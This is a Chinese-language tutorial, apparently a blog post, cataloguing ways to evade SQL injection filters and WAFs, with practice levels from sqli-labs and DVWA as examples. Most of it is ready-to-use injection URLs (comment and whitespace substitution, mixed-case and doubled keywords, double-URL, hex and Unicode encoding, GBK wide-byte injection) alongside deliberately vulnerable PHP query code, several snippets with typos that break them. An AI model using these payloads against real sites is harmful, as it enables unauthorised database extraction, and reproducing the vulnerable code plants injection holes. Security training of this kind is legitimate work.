常见sql注入绕过方法

应用程序开发人员为了防止出现SQL注入漏洞,在进行程序开发的过程中会通过关键字过滤的方式对常见的SQL注入的payload进行过滤,使攻击者无法进行SQL注入。由于程序员的水平及经验参差不齐,相当大一部分程序员在编写的代码中存在过滤方式缺陷,攻击者就可以通过编码、大小写混写、等价函数特换等多种方式绕过SQL注入过滤。

1、空格过滤绕过

根据应用程序的过滤规则,会将空格加人黑名单,但是空格存在多种绕过方式,常见的包括用/**/、制表符、换行符、括号、反引号来代替空格。

less-26

漏洞代码示例

if (preg_match('/ /',$_GET["id"])){
	die("ERROR");
}else{
	$id=$_GET['id'];
	$sql="SELECT * FROM user WHERE id=$id LIMIT 0,1";
    $result=mysql_query($sql);
}

在以上代码中,通过preg_match对GET型id参数进行了过滤,如果存在空格,会结束运行,并且输出ERROR。

/**/绕过

MySQL数据库中可以用/**/(注释符)来代替空格,将空格用注释符代替后,SQL语句就可以正常运行。例如:

select/**/database();

http://ip/index,php?id=1/**/and/**/1=2/**/union/**/select/**/1,2,database()

%09,%0b,%a0也行,更多参照ascii表/**/

制表符绕过

在MySQL数据库中,可以用制表符来代替空格,将空格用制表符代替后,SQL语句就可以正常运行。制表符是不可见字符,在URL传输中需要编码,其URL编码为%09。例如:

select	database();		#制表符

http://ip/index.php?id=1%09and%091=2%09union%09select%091,2,database()

换行符绕过

MySQL数据库支持换行执行SQL语句,可以利用换行符代替空格,换行符也是不可见字符,在URL传输中需要进行编码,其URL编码为%0a。例如:

select
database();

http://ip/index.php?id=1%0aand%0a1=2%0aunion%0aselect%0a1,2,database()

括号绕过

MySQL数据库有一个特性。在条件语句中,在 where id=1后面加“=1”,成为where id=1=1,就是对前面的所有结果与1,查询的结果与原来一样。在where id=1后面加“=0”,成为where id=1=0,就是对前面的所有结果与0(取反),查询的结果为除去原有查询结果的其他数据。

# dvwa
select * from users where user_id=1		# 正常
select * from users where user_id=1=1		# 正常
select * from users where user_id=1=0		# 取反

在MySQL数据库中,任何查询中都可以使用括号嵌套SQL语句,可以利用括号绕过空格的过滤。

select ascii(mid(database()from(1)for(1)))=100		# dvwa测试

http://ip/index.php?id=1=(ascii(mid(database()from(1)for(1)))=99)
可以判断“id=1=”后面的(ascii(mid(database()from(1)for(1)))=99)的结果为1,数据库名的第一个字符的ASCII码应该是99,也就是字母c(输出0,结果就不为c)

`反引号绕过

MySQL中的反引号(`)是为了区分MySQL的保留字与普通字符而引人的符号,反引号可以代替空格,绕过空格过滤。例如:(版本问题,演示不了)

image-20240117224305605

2、内联注释绕过【常见waf!!!】

MySQL会执行放在/!…/中的语句。例如:/*!select*/*/*!from*/users; # dvwa(!)

那么,在/!50726…/也可以执行位于其中的SQL语句,其中,50726表示5.7.26,为 MySQL版本号。当MySQL数据库的实际版本号大于内联注释中的版本号时,就会执行内联注释中的代码。可以利用MySQL的这个特性绕过特殊字符过滤。

# dvwa
select version();		# 5.7.26
(1)当内联注释中的版本设置为50726时,与当前MySQL数据库版本相同,会正常执行内联注释中的SQL语句。例如:
/*!50726select*/*/*!50726from*/users;
(2)当内联注释中的版本设置为50726时,小于当前MySQL数据库版本,会正常执行内联注释中的SQL语句。例如:
/*!50725select*/*/*!from*/users;
 (3)当内联注释版本设置为50726时,大于当前MySQL 数据库版本,会报错。例如:
/*!50727select*/*/*!from*/users;

(57条消息) sql注入内联注释过waf_请叫我白帽子的博客-CSDN博客

WAF绕过方法总结 - 田家少闲月- - 博客园 (cnblogs.com)

(57条消息) 7-Web安全——SQL注入WAF绕过之注释符号_sql注释符waf_song->_->的博客-CSDN博客

3、大小写绕过

根据应用程序的过滤规则,通常会针对恶意关键字设置黑名单,如果存在恶意关键字,应用程序就会退出运行。但是在过滤规则中可能存在过滤不完整或者只过滤小写或者大写的情况,没有针对大小写组合进行过滤,导致可以通过大小写混写payload的方式来绕过关键字过滤。

if (preg match('/select/',$_GET ["id"])){
	die("ERROR");
}else{
	$id=$_GET['id'1;
	$sql="SELECT * FROM user WHERE id=$id LIMIT 0,1";
     $result=mysql_query ($sgl);
}

    在以上代码中,通过 preg_match 函数对GET型id参数进行了过滤,如果存在select关键字,应用程序会结束运行,并且输出 ERROR。但是preg_match函数并没有对select大小写的各种情况进行判断,导致攻击者可以通过大小写混写select关键字的方式来绕过过滤。
              
--->              
http://ip/index.php?id=1 and 1=2 union seLeCt 1,2,database ()

less-27

4、双写关键字绕过

if(isset($_GET['id'])){
	$id=preg_replace('/select/i','',$_GET["id"]);
	$sq1="SELECT * FROM user WHERE id=$id LIMIT 0,1";
	$result=mysql_query($aql);
}

	在上面的代码中,利用preg_replace函数对GET型id参数进行了过滤,如果存在select关键字,会将select关键字替换为空,并且继续执行。但是 preg_replace函数并没有进行多次判断,导致可以通过双写关键字的方式绕过过滤。
        
输入以下测试语句:
http://ip/index.php?id=1 and 1=2 union seselectlect 1,2,database()
因为seselectlect关键字在preg_replace函数中过滤时,其中的select字符串被替换为空,剩余的字符串是select,绕过了过滤规则

aandd , oorr , ununionion等

5、编码绕过

选择数据库可以读取的编码进行替换读取

漏洞示例代码

if(preg_match('/select/i',$_GET["id"])){
	die("ERROR");
}else{
    $id=$_GET['id'];
	$sq1="SELECT FROM user WHERE id=$id LIMIT 0,1";
	$result=mysql_query($sql);
}

在以上代码中,通过 preg_match函数对GET型id参数进行了过滤,并且对大小写的情况进行了判断,如果存在select关键词,应用程序会结束运行,并且输出 ERROR。对于这种过滤,只能通过关键字变换的方式来绕过。

双重URL编码绕过

http://ip/index.php?id=1 and 1=2 union ses%256cect 1,2,database()

通过将select进行双重编码绕过了select关键字过滤,获取了数据库的信息

十六进制编码绕过

MySQL数据库可以识别十六进制,会对十六进制的数据进行自动转换。如果 PHP配置中开启了GPC,GPC会自动对单引号进行转义,这样注人就无法正常使用。但是,如果将注入的数据转换为十六进制,就不需要单引号,可以正常注入。

    
--->【dvwa-medium-sql】
http://ip/index.php?id=1 and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_gchema=0x6374667377696b69

Unicode编码绕过

IIS中间件可以识别Unicode字符,当URL中存在Unicode字符时,IIS中间件会自动对Unicode字符进行转换。
    
    
--->SqlServer数据库
http://ip/index.asp?id=1 and 0 < (se$u006cect top 1 name from sec.dbo.sysobjects where xtype='U')

ASCII编码绕过

SQL Server数据库的char函数可以将字符转换为ASCII码,这样也可以绕过单引号转义的情况。

image-20240117224255334

6、等价函数字符替换绕过

漏洞示例代码

if (preg_match('/=/',$_GET["id"]){
	die ("ERROR");
}else{
	$id=$_GET['id'];
	$sql-"SELECT * FROM user WHERE id=$id LIMIT 0,1";
    $result=mysql_query($sql);
}
    
在以上代码中,通过 preg_match函数对GET型id参数进行了过滤,如果存在=字符,应用程序会结束运行,并且输出ERROR,=可以用like或者in来代替,以绕过对=的过滤。

用like或in代替=

select * from user where username='userl';
select * from user where username like 'userl';
select * from user where username in('userl');

http://id/index.php?id=1 and 1 like 1

逗号过滤

select substr(database(),1,1);
select substr(database() from l for 1);

等价函数

可以用以下等价函数代替来绕过过滤:
1、sleep函数可以用benchmark函数代替
2、ascii函数可以用hex, bin函数代替
3、group_concat函数可以用concat_ws函数代替
4、updatexml函数可以用extractvalue函数代替

7、逻辑符号替换

and --> &&
or --> ll

(1)大小写变形 Or,OR,oR
(2)编码,hex,urlencode
(3)添加注释/*or*/
(4)利用符号 and=&& or=||

less-25

8、宽字节绕过

前提:客户端使用gbk的编码模式

绕过方法:

1、编码绕过(数字型可以绕过,字符型不行)

2、宽字节绕过(前提数据库的编码是gbk)。在gbk中,中文由两个字节组成,首字节对应81-EF(129-239),尾字节40-7E(64-126)

3、利用函数转移特殊字符代替magic_quotes_gpc:addslashes()

less-32

利用条件:前端utf-8编码和数据库gbk编码不一致。
➢ 宽字节注入是利用mysql的一个特性,mysql在使用GBK编码的时候,会认为两个字符是一个汉字(前一个ASCII码要大于128,才到汉字的范围)
%df%5c构成一个汉字:縗。因为此时\已经和%df组成一个汉字消耗掉了所以"单引号'"成功闭合也就是说:%df \'=%df%5c%27=縗',有了单引号就好注入了

SQL注入防御绕过一一宽字节注入:https://www.cnblogs.com/fengshui/p/9266830.html

9、正则表达式替换

regexp正则绕过

“[-]”:字符范围。匹配指定范围内的任意字符。例如,'[a-z]' 可以匹配 'a' 到 'z' 范围内的任意小写字母字符
“/”:表示正则表达式的开始、再一个/表示结束,在结束的/后面跟上的为定界符
“i”:表示在和模式进行匹配进不区分大小写
“s”:如果没有使用这个模式修正符号,元字符中的"."默认不能表示换行符号,将字符串视为单行

Logo

开放原子开发者工作坊旨在鼓励更多人参与开源活动,与志同道合的开发者们相互交流开发经验、分享开发心得、获取前沿技术趋势。工作坊有多种形式的开发者活动,如meetup、训练营等,主打技术交流,干货满满,真诚地邀请各位开发者共同参与!

更多推荐